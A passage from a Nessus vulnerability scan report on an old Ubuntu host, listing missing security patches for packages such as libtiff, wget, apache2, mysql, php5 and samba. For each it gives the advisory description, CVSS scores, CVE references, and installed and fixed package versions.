## References

| | |
|---|---|
| BID | 40823 |
| CVE | CVE-2010-1411 |
| CVE | CVE-2010-2065 |
| CVE | CVE-2010-2067 |
| XREF | USN:954-1 |

## Plugin Information

Published: 2010/06/22, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libtiff4_3.8.2-7ubuntu3.4
  - Fixed package     : libtiff4_3.8.2-7ubuntu3.6
```

## 48283 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : w3m vulnerability (USN-967-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Ludwig Nussel discovered w3m does not properly handle SSL/TLS certificates with NULL characters in the certificate name. An attacker could exploit this to perform a man in the middle attack to view sensitive information or alter encrypted communications.

(CVE-2010-2074).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/967-1/

### Solution

Update the affected w3m and / or w3m-img packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.0184

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 40837 |
| CVE | CVE-2010-2074 |

XREF USN:967-1

## Plugin Information

Published: 2010/08/10, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : w3m_0.5.1-5.1ubuntu1
  - Fixed package     : w3m_0.5.1-5.1ubuntu1.1
```

## 49102 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : wget vulnerability (USN-982-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that Wget would use filenames provided by the server when following 3xx redirects. If a user or automated system were tricked into downloading a file from a malicious site, a remote attacker could create the file with an arbitrary name (e.g. .wgetrc), and possibly run arbitrary code.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/982-1/

### Solution

Update the affected wget package.

### Risk Factor

Medium

### VPR Score

6.3

### EPSS Score

0.0373

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| CVE | CVE-2010-2252 |
| XREF | USN:982-1 |

## Plugin Information

Published: 2010/09/03, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : wget_1.10.2-3ubuntu1
  - Fixed package     : wget_1.10.2-3ubuntu1.2
```

## 46179 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 : postgresql-8.1, postgresql-8.3, postgresql-8.4 vulnerability (USN-933-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that PostgreSQL did not properly sanitize its input when using substring() with a SELECT statement. A remote authenticated attacker could exploit this to cause a denial of service via application crash.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/933-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.1353

### CVSS v2.0 Base Score

6.5 (CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.1 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 37973 |
| CVE | CVE-2010-0442 |

| | |
|---|---|
| XREF | USN:933-1 |
| XREF | CWE:189 |

## Plugin Information

Published: 2010/04/29, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libpq5_8.3.1-1
  - Fixed package     : libpq5_8.3.10-0ubuntu8.04.1

  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.10-0ubuntu8.04.1

  - Installed package : postgresql-client-8.3_8.3.1-1
  - Fixed package     : postgresql-client-8.3_8.3.10-0ubuntu8.04.1
```

## 50823 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : apache2 vulnerabilities (USN-1021-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that Apache's mod_cache and mod_dav modules incorrectly handled requests that lacked a path. A remote attacker could exploit this with a crafted request and cause a denial of service. This issue affected Ubuntu 6.06 LTS, 8.04 LTS, 9.10 and 10.04 LTS. (CVE-2010-1452)

It was discovered that Apache did not properly handle memory when destroying APR buckets. A remote attacker could exploit this with crafted requests and cause a denial of service via memory exhaustion.

This issue affected Ubuntu 6.06 LTS and 10.10. (CVE-2010-1623).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1021-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.2722

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 41963 |
| BID | 43673 |
| CVE | CVE-2010-1452 |
| CVE | CVE-2010-1623 |
| XREF | USN:1021-1 |

## Plugin Information

Published: 2010/11/28, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : apache2_2.2.8-1
  - Fixed package     : apache2_2.2.8-1ubuntu0.19

  - Installed package : apache2-mpm-prefork_2.2.8-1ubuntu0.15
  - Fixed package     : apache2-mpm-prefork_2.2.8-1ubuntu0.19

  - Installed package : apache2-utils_2.2.8-1ubuntu0.15
  - Fixed package     : apache2-utils_2.2.8-1ubuntu0.19

  - Installed package : apache2.2-common_2.2.8-1ubuntu0.15
  - Fixed package     : apache2.2-common_2.2.8-1ubuntu0.19
```

## 50560 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : libxml2 vulnerability (USN-1016-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Bui Quang Minh discovered that libxml2 did not properly process XPath namespaces and attributes. If an application using libxml2 opened a specially crafted XML file, an attacker could cause a denial of service or possibly execute code as the user invoking the program.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1016-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.1

### EPSS Score

0.0073

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

### References

| | |
|---|---|
| CVE | CVE-2010-4008 |
| XREF | USN:1016-1 |

### Plugin Information

Published: 2010/11/11, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.5
```

## 50843 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : linux, linux-{ec2,source-2.6.15} vulnerabilities (USN-1023-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Nelson Elhage discovered several problems with the Acorn Econet protocol driver. A local user could cause a denial of service via a NULL pointer dereference, escalate privileges by overflowing the kernel stack, and assign Econet addresses to arbitrary interfaces.

(CVE-2010-3848, CVE-2010-3849, CVE-2010-3850)

Dan Rosenberg discovered that the VIA video driver did not correctly clear kernel memory. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy. (CVE-2010-4082).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1023-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

8.9

### EPSS Score

0.0024

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

6.0 (CVSS2#E:H/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 45072 |
| CVE | CVE-2010-3848 |
| CVE | CVE-2010-3849 |
| CVE | CVE-2010-3850 |
| CVE | CVE-2010-4082 |
| XREF | USN:1023-1 |

## Plugin Information

Published: 2010/11/30, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-28.81

  - Installed package : linux-libc-dev_2.6.24-27.68
  - Fixed package     : linux-libc-dev_2.6.24-28.81


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 50573 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : mysql-5.1, mysql-dfsg-5.0, mysql-dfsg-5.1 vulnerabilities (USN-1017-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that MySQL incorrectly handled certain requests with the UPGRADE DATA DIRECTORY NAME command. An authenticated user could exploit this to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 9.10 and 10.04 LTS. (CVE-2010-2008)

It was discovered that MySQL incorrectly handled joins involving a table with a unique SET column. An authenticated user could exploit this to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 9.10 and 10.04 LTS.

(CVE-2010-3677)

It was discovered that MySQL incorrectly handled NULL arguments to IN() or CASE operations. An authenticated user could exploit this to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 9.10 and 10.04 LTS. (CVE-2010-3678)

It was discovered that MySQL incorrectly handled malformed arguments to the BINLOG statement. An authenticated user could exploit this to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 9.10 and 10.04 LTS. (CVE-2010-3679)

It was discovered that MySQL incorrectly handled the use of TEMPORARY InnoDB tables with nullable columns. An authenticated user could exploit this to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 9.10 and 10.04 LTS.

(CVE-2010-3680)

It was discovered that MySQL incorrectly handled alternate reads from two indexes on a table using the HANDLER interface. An authenticated user could exploit this to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 9.10 and 10.04 LTS. (CVE-2010-3681)

It was discovered that MySQL incorrectly handled use of EXPLAIN with certain queries. An authenticated user could exploit this to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 9.10 and 10.04 LTS. (CVE-2010-3682)

It was discovered that MySQL incorrectly handled error reporting when using LOAD DATA INFILE and would incorrectly raise an assert in certain circumstances. An authenticated user could exploit this to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 9.10 and 10.04 LTS. (CVE-2010-3683)

It was discovered that MySQL incorrectly handled propagation during evaluation of arguments to extreme-value functions. An authenticated user could exploit this to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 8.04 LTS, 9.10, 10.04 LTS and 10.10. (CVE-2010-3833)

It was discovered that MySQL incorrectly handled materializing a derived table that required a temporary table for grouping. An authenticated user could exploit this to make MySQL crash, causing a denial of service. (CVE-2010-3834)

It was discovered that MySQL incorrectly handled certain user-variable assignment expressions that are evaluated in a logical expression context. An authenticated user could exploit this to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 8.04 LTS, 9.10, 10.04 LTS and 10.10. (CVE-2010-3835)

It was discovered that MySQL incorrectly handled pre-evaluation of LIKE predicates during view preparation. An authenticated user could exploit this to make MySQL crash, causing a denial of service.

(CVE-2010-3836)

It was discovered that MySQL incorrectly handled using GROUP_CONCAT() and WITH ROLLUP together. An authenticated user could exploit this to make MySQL crash, causing a denial of service. (CVE-2010-3837)

It was discovered that MySQL incorrectly handled certain queries using a mixed list of numeric and LONGBLOB arguments to the GREATEST() or LEAST() functions. An authenticated user could exploit this to make MySQL crash, causing a denial of service. (CVE-2010-3838)

It was discovered that MySQL incorrectly handled queries with nested joins when used from stored procedures and prepared statements. An authenticated user could exploit this to make MySQL hang, causing a denial of service. This issue only affected Ubuntu 9.10, 10.04 LTS and 10.10. (CVE-2010-3839)

It was discovered that MySQL incorrectly handled improper WKB data passed to the PolyFromWKB() function. An authenticated user could exploit this to make MySQL crash, causing a denial of service.

(CVE-2010-3840).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/1017-1/

## Solution

Update the affected packages.

## Risk Factor

Medium

## VPR Score

4.4

## EPSS Score

0.0975

## CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

## CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 41198 |
| BID | 42596 |
| BID | 42598 |
| BID | 42599 |
| BID | 42625 |
| BID | 42633 |
| BID | 42638 |
| BID | 42646 |
| BID | 43676 |
| CVE | CVE-2010-2008 |
| CVE | CVE-2010-3677 |
| CVE | CVE-2010-3678 |
| CVE | CVE-2010-3679 |
| CVE | CVE-2010-3680 |
| CVE | CVE-2010-3681 |
| CVE | CVE-2010-3682 |
| CVE | CVE-2010-3683 |
| CVE | CVE-2010-3833 |
| CVE | CVE-2010-3834 |
| CVE | CVE-2010-3835 |
| CVE | CVE-2010-3836 |
| CVE | CVE-2010-3837 |
| CVE | CVE-2010-3838 |
| CVE | CVE-2010-3839 |
| CVE | CVE-2010-3840 |
| XREF | USN:1017-1 |

## Plugin Information

Published: 2010/11/12, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : libmysqlclient15off_5.0.51a-3ubuntu5
  - Fixed package     : libmysqlclient15off_5.0.51a-3ubuntu5.8

  - Installed package : mysql-client-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-client-5.0_5.0.51a-3ubuntu5.8

  - Installed package : mysql-common_5.0.51a-3ubuntu5
  - Fixed package     : mysql-common_5.0.51a-3ubuntu5.8
  - Installed package : mysql-server_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server_5.0.51a-3ubuntu5.8

  - Installed package : mysql-server-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server-5.0_5.0.51a-3ubuntu5.8
```

## 51076 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : openssl vulnerabilities (USN-1029-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that an old bug workaround in the SSL/TLS server code allowed an attacker to modify the stored session cache ciphersuite. This could possibly allow an attacker to downgrade the ciphersuite to a weaker one on subsequent connections. (CVE-2010-4180)

It was discovered that an old bug workaround in the SSL/TLS server code allowed an attacker to modify the stored session cache ciphersuite. An attacker could possibly take advantage of this to force the use of a disabled cipher. This vulnerability only affects the versions of OpenSSL in Ubuntu 6.06 LTS, Ubuntu 8.04 LTS, and Ubuntu 9.10. (CVE-2008-7270).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1029-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.2

### EPSS Score

0.0589

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:ND/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 45164 |
| CVE | CVE-2008-7270 |
| CVE | CVE-2010-4180 |
| XREF | USN:1029-1 |

## Plugin Information

Published: 2010/12/08, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.13
```

## 51525 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : php5 regression (USN-1042-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-1042-1 fixed vulnerabilities in PHP5. The fix for CVE-2010-3436 introduced a regression in the open_basedir restriction handling code.

This update fixes the problem.

We apologize for the inconvenience.

It was discovered that attackers might be able to bypass open_basedir() restrictions by passing a specially crafted filename.

(CVE-2010-3436).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1042-2/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.4

### EPSS Score

0.0393

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

### CVSS v2.0 Temporal Score

4.3 (CVSS2#E:ND/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 44723 |
| CVE | CVE-2010-3436 |
| XREF | USN:1042-2 |

## Plugin Information

Published: 2011/01/14, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : php5-cgi_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cgi_5.2.4-2ubuntu5.14

  - Installed package : php5-cli_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cli_5.2.4-2ubuntu5.14

  - Installed package : php5-common_5.2.4-2ubuntu5.10
  - Fixed package     : php5-common_5.2.4-2ubuntu5.14

  - Installed package : php5-gd_5.2.4-2ubuntu5.10
  - Fixed package     : php5-gd_5.2.4-2ubuntu5.14

  - Installed package : php5-mysql_5.2.4-2ubuntu5.10
  - Fixed package     : php5-mysql_5.2.4-2ubuntu5.14

```

## 51502 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : php5 vulnerabilities (USN-1042-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that an integer overflow in the XML UTF-8 decoding code could allow an attacker to bypass cross-site scripting (XSS) protections. This issue only affected Ubuntu 6.06 LTS, Ubuntu 8.04 LTS, and Ubuntu 9.10. (CVE-2009-5016)

It was discovered that the XML UTF-8 decoding code did not properly handle non-shortest form UTF-8 encoding and ill-formed subsequences in UTF-8 data, which could allow an attacker to bypass cross-site scripting (XSS) protections. (CVE-2010-3870)

It was discovered that attackers might be able to bypass open_basedir() restrictions by passing a specially crafted filename.

(CVE-2010-3436)

Maksymilian Arciemowicz discovered that a NULL pointer derefence in the ZIP archive handling code could allow an attacker to cause a denial of service through a specially crafted ZIP archive. This issue only affected Ubuntu 8.04 LTS, Ubuntu 9.10, Ubuntu 10.04 LTS, and Ubuntu 10.10. (CVE-2010-3709)

It was discovered that a stack consumption vulnerability in the filter_var() PHP function when in FILTER_VALIDATE_EMAIL mode, could allow a remote attacker to cause a denial of service. This issue only affected Ubuntu 8.04 LTS, Ubuntu 9.10, Ubuntu 10.04 LTS, and Ubuntu 10.10. (CVE-2010-3710)

It was discovered that the mb_strcut function in the Libmbfl library within PHP could allow an attacker to read arbitrary memory within the application process. This issue only affected Ubuntu 10.10.

(CVE-2010-4156)

Maksymilian Arciemowicz discovered that an integer overflow in the NumberFormatter::getSymbol function could allow an attacker to cause a denial of service. This issue only affected Ubuntu 10.04 LTS and Ubuntu 10.10. (CVE-2010-4409)

Rick Regan discovered that when handing PHP textual representations of the largest subnormal double-precision floating-point number, the zend_strtod function could go into an infinite loop on 32bit x86 processors, allowing an attacker to cause a denial of service.

(CVE-2010-4645).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1042-1/

### Solution

Update the affected packages.

Risk Factor

Medium

VPR Score

6.7

EPSS Score

0.3689

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 43926 |
| BID | 44605 |
| BID | 44718 |
| BID | 44723 |
| BID | 44727 |
| BID | 44889 |
| BID | 45119 |
| BID | 45668 |
| CVE | CVE-2009-5016 |
| CVE | CVE-2010-3436 |
| CVE | CVE-2010-3709 |
| CVE | CVE-2010-3710 |
| CVE | CVE-2010-3870 |
| CVE | CVE-2010-4156 |
| CVE | CVE-2010-4409 |
| CVE | CVE-2010-4645 |
| XREF | USN:1042-1 |

Plugin Information

Published: 2011/01/12, Modified: 2019/09/19

Plugin Output

tcp/0

```
  - Installed package : php5-cgi_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cgi_5.2.4-2ubuntu5.13

  - Installed package : php5-cli_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cli_5.2.4-2ubuntu5.13

  - Installed package : php5-common_5.2.4-2ubuntu5.10
  - Fixed package     : php5-common_5.2.4-2ubuntu5.13

  - Installed package : php5-gd_5.2.4-2ubuntu5.10
  - Fixed package     : php5-gd_5.2.4-2ubuntu5.13

  - Installed package : php5-mysql_5.2.4-2ubuntu5.10
  - Fixed package     : php5-mysql_5.2.4-2ubuntu5.13
```

## 55071 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : postfix vulnerabilities (USN-1113-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that the Postfix package incorrectly granted write access on the PID directory to the postfix user. A local attacker could use this flaw to possibly conduct a symlink attack and overwrite arbitrary files. This issue only affected Ubuntu 6.06 LTS and 8.04 LTS. (CVE-2009-2939)

Wietse Venema discovered that Postfix incorrectly handled cleartext commands after TLS is in place. A remote attacker could exploit this to inject cleartext commands into TLS sessions, and possibly obtain confidential information such as passwords. (CVE-2011-0411).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1113-1/

### Solution

Update the affected postfix package.

### Risk Factor

Medium

### VPR Score

7.3

### EPSS Score

0.6945

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.1 (CVSS2#E:U/RL:OF/RC:C)

### References

|  |  |
|---|---|
| BID | 36469 |
| BID | 46767 |
| CVE | CVE-2009-2939 |
| CVE | CVE-2011-0411 |
| XREF | USN:1113-1 |
| XREF | CWE:59 |

## Plugin Information

Published: 2011/06/13, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : postfix_2.5.1-2ubuntu1
  - Fixed package     : postfix_2.5.1-2ubuntu1.3
```

## 51871 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : postgresql-8.1, postgresql-8.3, postgresql-8.4 vulnerability (USN-1058-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Geoff Keating reported that a buffer overflow exists in the intarray module's input function for the query_int type. This could allow an attacker to cause a denial of service or possibly execute arbitrary code as the postgres user.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1058-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

6.5

### EPSS Score

0.0396

### CVSS v2.0 Base Score

6.5 (CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

4.8 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 46084 |
| CVE | CVE-2010-4015 |

XREF USN:1058-1

## Plugin Information

Published: 2011/02/04, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libpq5_8.3.1-1
  - Fixed package     : libpq5_8.3.14-0ubuntu8.04

  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.14-0ubuntu8.04

  - Installed package : postgresql-client-8.3_8.3.1-1
  - Fixed package     : postgresql-client-8.3_8.3.14-0ubuntu8.04
```

## 52477 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : samba vulnerability (USN-1075-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Volker Lendecke discovered that Samba incorrectly handled certain file descriptors. A remote attacker could send a specially crafted request to the server and cause Samba to crash or hang, resulting in a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1075-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.156

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 46597 |
| CVE | CVE-2011-0719 |
| XREF | USN:1075-1 |

## Plugin Information

Published: 2011/03/01, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : samba_3.0.20-0.1ubuntu1
  - Fixed package     : samba_3.0.28a-1ubuntu4.14

  - Installed package : samba-common_3.0.20-0.1ubuntu1
  - Fixed package     : samba-common_3.0.28a-1ubuntu4.14
```

## 53294 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : tiff vulnerability (USN-1102-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Martin Barbella discovered that the thunder (aka ThunderScan) decoder in the TIFF library incorrectly handled an unexpected BitsPerSample value. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could execute arbitrary code with user privileges, or crash the application, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1102-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0344

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 46951 |
| CVE | CVE-2011-1167 |

XREF USN:1102-1

## Plugin Information

Published: 2011/04/05, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libtiff4_3.8.2-7ubuntu3.4
  - Fixed package     : libtiff4_3.8.2-7ubuntu3.9
```

## 57999 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : apache2 vulnerabilities (USN-1368-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that the Apache HTTP Server incorrectly handled the SetEnvIf .htaccess file directive. An attacker having write access to a .htaccess file may exploit this to possibly execute arbitrary code.

(CVE-2011-3607)

Prutha Parikh discovered that the mod_proxy module did not properly interact with the RewriteRule and ProxyPassMatch pattern matches in the configuration of a reverse proxy. This could allow remote attackers to contact internal webservers behind the proxy that were not intended for external exposure. (CVE-2011-4317)

Rainer Canavan discovered that the mod_log_config module incorrectly handled a certain format string when used with a threaded MPM. A remote attacker could exploit this to cause a denial of service via a specially- crafted cookie. This issue only affected Ubuntu 11.04 and 11.10. (CVE-2012-0021)

It was discovered that the Apache HTTP Server incorrectly handled certain type fields within a scoreboard shared memory segment. A local attacker could exploit this to to cause a denial of service.

(CVE-2012-0031)

Norman Hippert discovered that the Apache HTTP Server incorrecly handled header information when returning a Bad Request (400) error page. A remote attacker could exploit this to obtain the values of certain HTTPOnly cookies. (CVE-2012-0053).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1368-1/

### Solution

Update the affected apache2.2-common package.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.8888

### CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

3.6 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 50494 |
| BID | 50802 |
| BID | 51407 |
| BID | 51705 |
| BID | 51706 |
| CVE | CVE-2011-3607 |
| CVE | CVE-2011-4317 |
| CVE | CVE-2012-0021 |
| CVE | CVE-2012-0031 |
| CVE | CVE-2012-0053 |
| XREF | USN:1368-1 |

### Plugin Information

Published: 2012/02/17, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : apache2.2-common_2.2.8-1ubuntu0.15
  - Fixed package     : apache2.2-common_2.2.8-1ubuntu0.23
```

## 56778 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : apache2, apache2-mpm-itk vulnerabilities (USN-1259-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the mod_proxy module in Apache did not properly interact with the RewriteRule and ProxyPassMatch pattern matches in the configuration of a reverse proxy. This could allow remote attackers to contact internal webservers behind the proxy that were not intended for external exposure. (CVE-2011-3368)

Stefano Nichele discovered that the mod_proxy_ajp module in Apache when used with mod_proxy_balancer in certain configurations could allow remote attackers to cause a denial of service via a malformed HTTP request. (CVE-2011-3348)

Samuel Montosa discovered that the ITK Multi-Processing Module for Apache did not properly handle certain configuration sections that specify NiceValue but not AssignUserID, preventing Apache from dropping privileges correctly. This issue only affected Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2011-1176)

